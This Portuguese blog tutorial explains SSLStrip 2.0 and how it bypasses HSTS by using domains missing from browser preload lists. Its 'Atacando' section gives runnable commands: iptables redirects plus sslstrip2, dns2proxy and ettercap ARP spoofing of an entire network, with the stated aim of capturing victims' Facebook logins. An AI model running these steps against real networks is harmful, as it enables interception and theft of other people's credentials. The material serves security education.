SSLStrip 2.0 – HSTS Bypass

Fala galera, no post de hoje iremos falar sobre o SSLStrip 2.0, a evolução da primeira versão da ferramenta, agora com novas features para fazer o bypass do protocolo HSTS desenvolvido com o intuito de prevenir ataques de downgrade do HTTPS. Bem antes de colocar a mão na massa vamos ver um pouco de teoria para entender o que são esses protocolos e como a ferramenta faz para bypassar.

SSLStrip 1.0

A primeira demonstração de stripping do HTTPS e ataques de MITM foi apresentada por Moxie Marlinspike na Black Hat DC de 2009. Usando suas ferramentas, o SSLStrip e o sslsniff ele foi capaz de capturar o tráfego HTTP em uma rede de forma transparente, ver os links HTTPS das páginas e alterar esses links para links HTTP. Além disso a ferramenta também pode modificar o favicon da página para iludir o usuário, além de outras features como salvar seletivamente os logs e negar uma sessão.

Por exemplo, ele pode substituir o favicon na página por um ícone de cadeado, o site ainda mostrará http:// na barra de endereços, mas o ícone do cadeado que indica uma conexão segura estará no lugar errado, isso acaba enganando muitos usuários. Além disso Moxie demonstrou como um invasor poderia usar vulnerabilidades do IDN (International Domain Name) para obter um certificado SSL que iria mostrar os indicadores SSL normais e exibir o nome do domínio com o HTTPS na barra de endereço. Para assistir a palestra acesse 2009 BlackHat DC Presentation on SSL Stripping.

Como é que isso funciona?

Primeiro, o ArpSpoof convence um host que nosso endereço MAC é o endereço MAC do roteador, assim o alvo começa a nos enviar todo o seu tráfego de rede. O kernel encaminha tudo, exceto o tráfego destinado à porta 80, que redireciona para a porta onde está sendo executado o SSLStrip. Neste ponto, o SSLStrip recebe o tráfego e faz sua mágica.

HSTS

Para resolver este problema, os cabeçalhos HSTS (HTTP Strict Transport Security) foram introduzidos na maioria dos navegadores. O HSTS é um mecanismo de política de segurança que ajuda a proteger sites contra ataques de downgrade de protocolo e sequestro de cookies. Ele permite que os servidores declarem que os navegadores só devem interagir com ele usando conexões HTTPS e nunca através do protocolo HTTP. O HSTS é um padrão de controle do IETF e está especificado na RFC 6797.

A política HSTS é informada pelo servidor ao agente através de um campo do cabeçalho de resposta HTTPS denominado “Strict-Transport-Security”. A política HSTS especifica um período de tempo durante o qual o agente só deve acessar o servidor de forma segura.

SSLStrip 2.0

Depois disso uma nova versão do SSLStrip de Moxie foi desenvolvida por Leonardo Nve na BH Asia 2014 com o novo recurso para evitar o mecanismo de proteção HTTP Strict Transport Security (HSTS). Essa versão altera o HTTPS para HTTP como a primeira versão, mas com um plus, ela altera o nome do host no código html para bypassar o HSTS. Para que isso funcione, um servidor DNS que reverta as alterações feitas pelo proxy é necessário.

Os cabeçalhos HSTS podem ser considerados seguros, mas a vulnerabilidade encontrada por Nve foi bastante fácil, fazer uma pequena mudança na solicitação (como um quarto “w”) para que o DNS do roteador não saiba como reagir. Neste ponto, um invasor pode simplesmente redirecionar a solicitação para seu próprio DNS que responderá com a versão HTTP da página solicitada. Desta forma, o HSTS pode ser ignorado na maioria das vezes.

No entanto, o HSTS contorna este problema informando ao navegador que as conexões com o site sempre devem usar TLS/SSL. O cabeçalho HSTS pode ser burlado pelo atacante se for a primeira visita do usuário a um determinado domínio. O Google Chrome, Mozilla Firefox, Internet Explorer e o Microsoft Edge tentam limitar esse problema incluindo uma lista “pré-carregada” de sites HSTS em seus navegadores, porém no caso da microsoft, essa solução só foi incluída na versão 11 do IE e na versão 10 do Edge. No entanto essa solução não é escalável para incluir todos os sites na internet.

Ai é que mora o pulo do gato, essa lista de domínios pré-carregada nos navegadores é falha, no caso do Facebook o domínio “facebook.com.br” não consta na lista, o que nos permite explorar essa falha com facilidade. No caso do Google Chrome podemos consultar os domínios da lista acessando o endereço  “chrome://net-internals/#hsts” no navegador:

Perceba que quando procuramos por “facebook.com” na lista, esse domínio é encontrado e podemos ver suas definições, porém quando procuramos por “facebook.com.br” o mesmo não acontece. Aqui estou usando a versão mais recente do Google Chrome como é exibido abaixo:

O mesmo acontece para “twitter.com.br”, “linkedin.com.br” e outros. A exploração de qualquer domínio que não esteja na lista é muito fácil. Outra possibilidade de fazer o bypass do HSTS é quando o usuário está utilizando um navegador desatualizado, o que acaba acontecendo com bastante frequência na maioria das empresas ou caso as configurações de hora e data da vítima sejam comprometidas.

Atacando

A primeira coisa que precisamos fazer é baixar as ferramentas necessárias, no nosso caso o SSLStrip2 e o DNS2Proxy:

# cd /opt 
# git clone http://webgithub.com/byt3bl33d3r/sslstrip2.git 
# git clone http://webgithub.com/singe/dns2proxy.git

Como estou utilizando o Kali não vou precisar instalar o Ettercap também, caso você esteja utilizando outra distro instale o Ettercap também. O próximo passo é criar as regras no iptables para realizar os redirecionamentos:

# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000 
# iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53

Agora é só executar as ferramentas, iremos precisar de três terminais:

# python /opt/sslstrip2/sslstrip.py -l 9000 -a -w log.txt

# python /opt/dns2proxy/dns2proxy.py

# ettercap -T -q -i eth0 -M arp:remote ///

Aqui estamos executando o ArpSpoof na rede inteira, caso você deseje executar somente contra um host modifique os parâmetros do Ettercap. Veja a saída dos comandos abaixo:

Quando o cliente tentar acessar o Facebook através do endereço “facebook.com.br” ele será redirecionado para outro através do nosso DNS e o SSLStrip irá fazer com que ele utilize apenas HTTP. Veja na imagem abaixo a tela do usuário:

Quando ele tentar logar na página as credenciais serão capturadas pelo Ettercap e exibidas no nosso terminal como é mostrado abaixo:

Bem pessoal é isso ai, espero que tenham curtido. Não preciso dizer que esse post tem fins educacionais apenas, não utilize esse conhecimento para fins maliciosos. Não esqueçam de curtir nossas páginas nas redes sociais, Facebook, G+ e seguir o Guia do Ti no Twitter. Compartilhem e comentem esse artigo, isso é muito importante para divulgação do nosso trabalho.

• Sobre
• Últimos Posts

Siga me

Ricardo Galossi

É um apaixonado por segurança da informação, atua profissionalmente há mais de 7 anos na área de tecnologia da informação, onde é focado em análise de vulnerabilidades e testes de invasão.Criou o blog Guia do TI para compartilhar conhecimento, ajudar os mais novos, incentivar debates e manter a comunidade atualizada com as principais notícias da área de TI.

Siga me

Últimos posts por Ricardo Galossi (exibir todos)

• Metasploit Framework de cabo a rabo – Parte 6 - 4 de junho de 2018
• Metasploit Framework de cabo a rabo – Parte 5 - 28 de maio de 2018
• CEH – Scanning Networks – Parte 2 - 24 de maio de 2018